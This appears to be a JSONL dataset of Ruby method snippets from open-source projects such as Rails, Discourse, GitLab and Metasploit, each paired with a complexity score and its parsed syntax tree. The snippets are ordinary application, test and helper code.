{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/uploader/tasks/fixer.rb","start_line":77,"raw_source":"def log_status\n        error_count_text = error_count > 0 ? \"#{error_count} errors\".red : \"0 errors\"\n        print \"\\r%7d / %7d (%s, %s missing)\" %\n                [current_count, max_count, error_count_text, missing_count]\n      end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"log_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_count_text\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_count\"]}]},{\"type\":\"str\",\"children\":[\" errors\"]}]},\"red\"]},{\"type\":\"str\",\"children\":[\"0 errors\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r%7d / %7d (%s, %s missing)\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_count\"]},{\"type\":\"send\",\"children\":[null,\"max_count\"]},{\"type\":\"lvar\",\"children\":[\"error_count_text\"]},{\"type\":\"send\",\"children\":[null,\"missing_count\"]}]}]}]}]}]}","id":"1490cb83-3dae-48ab-a3ad-181d67388bcc"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_adapter/ar_dba.rb","start_line":43,"raw_source":"def table_bloat\n    data = select(<<-SQL, \"Table Bloat\")\n                SELECT tablename                                                    AS table_name\n                     , reltuples::bigint                                            AS rows\n                     , relpages::bigint                                             AS pages\n                     , otta\n                     , ROUND(CASE WHEN otta = 0 OR sml.relpages = 0 OR sml.relpages = otta THEN 0.0\n                             ELSE sml.relpages / otta::numeric END, 1)              AS percent_bloat\n                     , CASE WHEN relpages < otta THEN 0\n                             ELSE relpages::bigint - otta                    END    AS wasted_pages\n                     , CASE WHEN relpages < otta THEN 0\n                             ELSE (blocksize * (relpages - otta))::bigint    END    AS wasted_size\n                     , CASE WHEN relpages < otta THEN 0\n                             ELSE blocksize * (sml.relpages - otta)::bigint  END    AS wasted_bytes\n                  FROM ( SELECT schemaname\n                              , tablename\n                              , cc.reltuples\n                              , cc.relpages\n                              , blocksize\n                              , CEIL((cc.reltuples * ((datahdr + pagesize - (CASE WHEN datahdr%pagesize = 0 THEN pagesize\n                                                                                  ELSE datahdr%pagesize END)) + nullhdr2 + 4)) / (blocksize - 20::float)\n                                    ) AS otta\n                           FROM ( SELECT pagesize\n                                       , blocksize\n                                       , schemaname\n                                       , tablename\n                                       , (datawidth + (hdr + pagesize - (CASE WHEN hdr%pagesize = 0 THEN pagesize\n                                                                              ELSE hdr%pagesize END)))::numeric\n                                                                                    AS datahdr\n                                       , (maxfracsum * (nullhdr + pagesize - (CASE WHEN nullhdr%pagesize = 0 THEN pagesize\n                                                                                   ELSE nullhdr%pagesize END)))\n                                                                                    AS nullhdr2\n                                    FROM ( SELECT schemaname\n                                                , tablename\n                                                , hdr\n                                                , pagesize\n                                                , blocksize\n                                                , SUM((1 - null_frac) * avg_width)  AS datawidth\n                                                , MAX(null_frac) AS maxfracsum\n                                                , hdr + ( SELECT 1 + count(*) / 8\n                                                            FROM pg_stats s2\n                                                           WHERE null_frac     <> 0\n                                                             AND s2.schemaname  = s.schemaname\n                                                             AND s2.tablename   = s.tablename\n                                                        ) AS nullhdr\n                                             FROM pg_stats s\n                                                , ( SELECT\n                                                     ( SELECT current_setting('block_size')::numeric)     AS blocksize\n                                                            , CASE WHEN SUBSTRING(SPLIT_PART(v, ' ', 2)\n                                                         FROM '#\"[0-9]+.[0-9]+#\"%' for '#')\n                                                           IN ('8.0','8.1','8.2') THEN 27 ELSE 23 END      AS hdr\n                                                            , CASE WHEN v ~ 'mingw32' OR v ~ '64-bit' THEN 8\n                                                                   ELSE 4 END                              AS pagesize\n                                                      FROM ( SELECT version() AS v)                        AS foo\n                                                  ) AS constants\n                                             GROUP BY 1, 2, 3, 4, 5\n                                          ) AS foo\n                                ) AS rs\n                        JOIN pg_class cc\n                          ON cc.relname = rs.tablename\n                        JOIN pg_namespace nn\n                          ON cc.relnamespace = nn.oid\n                         AND nn.nspname = rs.schemaname AND nn.nspname <> 'information_schema'\n                ) AS sml\n                WHERE schemaname = 'public'\n                ORDER BY  1\n    SQL\n\n    integer_columns = %w[\n      otta\n      pages\n      pagesize\n      rows\n      wasted_bytes\n      wasted_pages\n      wasted_size\n    ]\n\n    float_columns = %w[\n      percent_bloat\n    ]\n\n    data.each do |datum|\n      integer_columns.each   { |c| datum[c] = datum[c].to_i }\n      float_columns.each     { |c| datum[c] = datum[c].to_f }\n    end\n\n    data.to_a\n  end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"table_bloat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"                SELECT tablename                                                    AS table_name\\n\"]},{\"type\":\"str\",\"children\":[\"                     , reltuples::bigint                                            AS rows\\n\"]},{\"type\":\"str\",\"children\":[\"                     , relpages::bigint                                             AS pages\\n\"]},{\"type\":\"str\",\"children\":[\"                     , otta\\n\"]},{\"type\":\"str\",\"children\":[\"                     , ROUND(CASE WHEN otta = 0 OR sml.relpages = 0 OR sml.relpages = otta THEN 0.0\\n\"]},{\"type\":\"str\",\"children\":[\"                             ELSE sml.relpages / otta::numeric END, 1)              AS percent_bloat\\n\"]},{\"type\":\"str\",\"children\":[\"                     , CASE WHEN relpages < otta THEN 0\\n\"]},{\"type\":\"str\",\"children\":[\"                             ELSE relpages::bigint - otta                    END    AS wasted_pages\\n\"]},{\"type\":\"str\",\"children\":[\"                     , CASE WHEN relpages < otta THEN 0\\n\"]},{\"type\":\"str\",\"children\":[\"                             ELSE (blocksize * (relpages - otta))::bigint    END    AS wasted_size\\n\"]},{\"type\":\"str\",\"children\":[\"                     , CASE WHEN relpages < otta THEN 0\\n\"]},{\"type\":\"str\",\"children\":[\"                             ELSE blocksize * (sml.relpages - otta)::bigint  END    AS wasted_bytes\\n\"]},{\"type\":\"str\",\"children\":[\"                  FROM ( SELECT schemaname\\n\"]},{\"type\":\"str\",\"children\":[\"                              , tablename\\n\"]},{\"type\":\"str\",\"children\":[\"                              , cc.reltuples\\n\"]},{\"type\":\"str\",\"children\":[\"                              , cc.relpages\\n\"]},{\"type\":\"str\",\"children\":[\"                              , blocksize\\n\"]},{\"type\":\"str\",\"children\":[\"                              , CEIL((cc.reltuples * ((datahdr + pagesize - (CASE WHEN datahdr%pagesize = 0 THEN pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                                  ELSE datahdr%pagesize END)) + nullhdr2 + 4)) / (blocksize - 20::float)\\n\"]},{\"type\":\"str\",\"children\":[\"                                    ) AS otta\\n\"]},{\"type\":\"str\",\"children\":[\"                           FROM ( SELECT pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                       , blocksize\\n\"]},{\"type\":\"str\",\"children\":[\"                                       , schemaname\\n\"]},{\"type\":\"str\",\"children\":[\"                                       , tablename\\n\"]},{\"type\":\"str\",\"children\":[\"                                       , (datawidth + (hdr + pagesize - (CASE WHEN hdr%pagesize = 0 THEN pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                              ELSE hdr%pagesize END)))::numeric\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                                    AS datahdr\\n\"]},{\"type\":\"str\",\"children\":[\"                                       , (maxfracsum * (nullhdr + pagesize - (CASE WHEN nullhdr%pagesize = 0 THEN pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                                   ELSE nullhdr%pagesize END)))\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                                    AS nullhdr2\\n\"]},{\"type\":\"str\",\"children\":[\"                                    FROM ( SELECT schemaname\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , tablename\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , hdr\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , blocksize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , SUM((1 - null_frac) * avg_width)  AS datawidth\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , MAX(null_frac) AS maxfracsum\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , hdr + ( SELECT 1 + count(*) / 8\\n\"]},{\"type\":\"str\",\"children\":[\"                                                            FROM pg_stats s2\\n\"]},{\"type\":\"str\",\"children\":[\"                                                           WHERE null_frac     <> 0\\n\"]},{\"type\":\"str\",\"children\":[\"                                                             AND s2.schemaname  = s.schemaname\\n\"]},{\"type\":\"str\",\"children\":[\"                                                             AND s2.tablename   = s.tablename\\n\"]},{\"type\":\"str\",\"children\":[\"                                                        ) AS nullhdr\\n\"]},{\"type\":\"str\",\"children\":[\"                                             FROM pg_stats s\\n\"]},{\"type\":\"str\",\"children\":[\"                                                , ( SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"                                                     ( SELECT current_setting('block_size')::numeric)     AS blocksize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                            , CASE WHEN SUBSTRING(SPLIT_PART(v, ' ', 2)\\n\"]},{\"type\":\"str\",\"children\":[\"                                                         FROM '#\\\"[0-9]+.[0-9]+#\\\"%' for '#')\\n\"]},{\"type\":\"str\",\"children\":[\"                                                           IN ('8.0','8.1','8.2') THEN 27 ELSE 23 END      AS hdr\\n\"]},{\"type\":\"str\",\"children\":[\"                                                            , CASE WHEN v ~ 'mingw32' OR v ~ '64-bit' THEN 8\\n\"]},{\"type\":\"str\",\"children\":[\"                                                                   ELSE 4 END                              AS pagesize\\n\"]},{\"type\":\"str\",\"children\":[\"                                                      FROM ( SELECT version() AS v)                        AS foo\\n\"]},{\"type\":\"str\",\"children\":[\"                                                  ) AS constants\\n\"]},{\"type\":\"str\",\"children\":[\"                                             GROUP BY 1, 2, 3, 4, 5\\n\"]},{\"type\":\"str\",\"children\":[\"                                          ) AS foo\\n\"]},{\"type\":\"str\",\"children\":[\"                                ) AS rs\\n\"]},{\"type\":\"str\",\"children\":[\"                        JOIN pg_class cc\\n\"]},{\"type\":\"str\",\"children\":[\"                          ON cc.relname = rs.tablename\\n\"]},{\"type\":\"str\",\"children\":[\"                        JOIN pg_namespace nn\\n\"]},{\"type\":\"str\",\"children\":[\"                          ON cc.relnamespace = nn.oid\\n\"]},{\"type\":\"str\",\"children\":[\"                         AND nn.nspname = rs.schemaname AND nn.nspname <> 'information_schema'\\n\"]},{\"type\":\"str\",\"children\":[\"                ) AS sml\\n\"]},{\"type\":\"str\",\"children\":[\"                WHERE schemaname = 'public'\\n\"]},{\"type\":\"str\",\"children\":[\"                ORDER BY  1\\n\"]}]},{\"type\":\"str\",\"children\":[\"Table Bloat\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"integer_columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"otta\"]},{\"type\":\"str\",\"children\":[\"pages\"]},{\"type\":\"str\",\"children\":[\"pagesize\"]},{\"type\":\"str\",\"children\":[\"rows\"]},{\"type\":\"str\",\"children\":[\"wasted_bytes\"]},{\"type\":\"str\",\"children\":[\"wasted_pages\"]},{\"type\":\"str\",\"children\":[\"wasted_size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"float_columns\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"percent_bloat\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"datum\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"integer_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"to_i\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"float_columns\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"c\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datum\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"c\"]}]},\"to_f\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_a\"]}]}]}","id":"5b854401-6961-4a52-9142-9c3c6849eac1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/reviewable_message.rb","start_line":93,"raw_source":"def build_new_separated_actions\n      bundle_actions = { no_action_message: {} }\n      if chat_message.deleted_at?\n        bundle_actions[:restore_message] = {}\n      else\n        bundle_actions[:delete_message] = {}\n      end\n      build_bundle(\n        \"#{id}-message-actions\",\n        \"chat.reviewables.actions.message_actions.bundle_title\",\n        bundle_actions,\n      )\n\n      build_user_actions_bundle\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_new_separated_actions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bundle_actions\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"no_action_message\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_message\"]},\"deleted_at?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundle_actions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"restore_message\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bundle_actions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"delete_message\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"build_bundle\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"str\",\"children\":[\"-message-actions\"]}]},{\"type\":\"str\",\"children\":[\"chat.reviewables.actions.message_actions.bundle_title\"]},{\"type\":\"lvar\",\"children\":[\"bundle_actions\"]}]},{\"type\":\"send\",\"children\":[null,\"build_user_actions_bundle\"]}]}]}","id":"17fa8d1b-5791-40a5-9d3c-43e7c2614424"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/components/storages/project_storages/members/row_component.rb","start_line":88,"raw_source":"def principal_show_path\n      case principal\n      when User\n        user_path(principal)\n      when Group\n        show_group_path(principal)\n      else\n        placeholder_user_path(principal)\n      end\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"principal_show_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"principal\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[null,\"user_path\",{\"type\":\"send\",\"children\":[null,\"principal\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},{\"type\":\"send\",\"children\":[null,\"show_group_path\",{\"type\":\"send\",\"children\":[null,\"principal\"]}]}]},{\"type\":\"send\",\"children\":[null,\"placeholder_user_path\",{\"type\":\"send\",\"children\":[null,\"principal\"]}]}]}]}","id":"5c1d633d-bb6e-42f0-85e9-92c469dc0937"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb","start_line":1138,"raw_source":"def exclusion_constraint_for!(table_name, expression: nil, **options)\n            exclusion_constraint_for(table_name, expression: expression, **options) ||\n              raise(ArgumentError, \"Table '#{table_name}' has no exclusion constraint for #{expression || options}\")\n          end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exclusion_constraint_for!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"expression\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclusion_constraint_for\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"expression\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Table '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\"' has no exclusion constraint for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}","id":"5d245d23-86e3-447a-844e-8add02fe0bd4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/persistence_test.rb","start_line":1219,"raw_source":"def test_update_column_with_one_changed_and_one_updated\n    t = Topic.order(\"id\").limit(1).first\n    author_name = t.author_name\n    t.author_name = \"John\"\n    t.update_column(:title, \"super_title\")\n    assert_equal \"John\", t.author_name\n    assert_equal \"super_title\", t.title\n    assert_predicate t, :changed?, \"topic should have changed\"\n    assert_predicate t, :author_name_changed?, \"author_name should have changed\"\n\n    t.reload\n    assert_equal author_name, t.author_name\n    assert_equal \"super_title\", t.title\n  end","complexity_score":20.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_column_with_one_changed_and_one_updated\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"order\",{\"type\":\"str\",\"children\":[\"id\"]}]},\"limit\",{\"type\":\"int\",\"children\":[1]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"author_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name=\",{\"type\":\"str\",\"children\":[\"John\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"super_title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"John\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"super_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"changed?\"]},{\"type\":\"str\",\"children\":[\"topic should have changed\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"t\"]},{\"type\":\"sym\",\"children\":[\"author_name_changed?\"]},{\"type\":\"str\",\"children\":[\"author_name should have changed\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"author_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"author_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"super_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"title\"]}]}]}]}","id":"85161abd-b96d-4a4b-b7cd-1deafcde6df6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/cracker.rb","start_line":117,"raw_source":"def initialize(attributes = {})\n          attributes.each do |attribute, value|\n            public_send(\"#{attribute}=\", value)\n          end\n        end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"public_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"ea073341-a3e8-4a81-b0f0-8a87eb514d98"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/credentials/credentials_command.rb","start_line":150,"raw_source":"def extract_environment_from_path(path)\n          available_environments.find { |env| path.end_with?(\"#{env}.yml.enc\") } || extract_custom_environment(path)\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_environment_from_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_environments\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"end_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]}]},{\"type\":\"str\",\"children\":[\".yml.enc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"extract_custom_environment\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"99984260-b7f6-47c4-b634-f2d494bfe4eb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/work_packages/base_contract.rb","start_line":263,"raw_source":"def validate_assigned_to_exists\n      errors.add :assigned_to, :does_not_exist if model.assigned_to.is_a?(Users::InexistentUser)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_assigned_to_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"assigned_to\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"InexistentUser\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"assigned_to\"]},{\"type\":\"sym\",\"children\":[\"does_not_exist\"]}]},null]}]}","id":"2a9006fd-f62b-4041-a582-be6496850cbc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/notes/create/base.rb","start_line":26,"raw_source":"def resolve(args)\n          noteable = authorized_find!(id: args[:noteable_id])\n          verify_rate_limit!(current_user)\n\n          note = ::Notes::CreateService.new(\n            noteable.project,\n            current_user,\n            create_note_params(noteable, args).merge(scope_validator: context[:scope_validator])\n          ).execute\n\n          data = {\n            note: (note if note.persisted?),\n            errors: errors_on_object(note)\n          }\n\n          data.tap do |payload|\n            payload[:quick_actions_status] = note.quick_actions_status.to_h if note.quick_actions_status\n          end\n        end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"noteable\",{\"type\":\"send\",\"children\":[null,\"authorized_find!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"noteable_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"verify_rate_limit!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Notes\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_note_params\",{\"type\":\"lvar\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope_validator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope_validator\"]}]}]}]}]}]},\"execute\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"note\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"persisted?\"]},{\"type\":\"lvar\",\"children\":[\"note\"]},null]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"send\",\"children\":[null,\"errors_on_object\",{\"type\":\"lvar\",\"children\":[\"note\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"quick_actions_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"quick_actions_status\"]},\"to_h\"]}]},null]}]}]}]}","id":"9b9e4249-1208-42a8-a551-3228dbff911c"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy.rb","start_line":148,"raw_source":"def self.instance=(value)\n    Thread.current[:ahoy] = value\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"instance=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"ahoy\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"ebc86e5b-fc59-434b-8080-babcd68e08ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/ui/subscriber.rb","start_line":145,"raw_source":"def copy_ui(subscriber)\n    init_ui(subscriber.user_input, subscriber.user_output)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_ui\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"subscriber\"]}]},{\"type\":\"send\",\"children\":[null,\"init_ui\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},\"user_input\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},\"user_output\"]}]}]}","id":"381c6d51-041c-492e-b762-1138842f6251"}
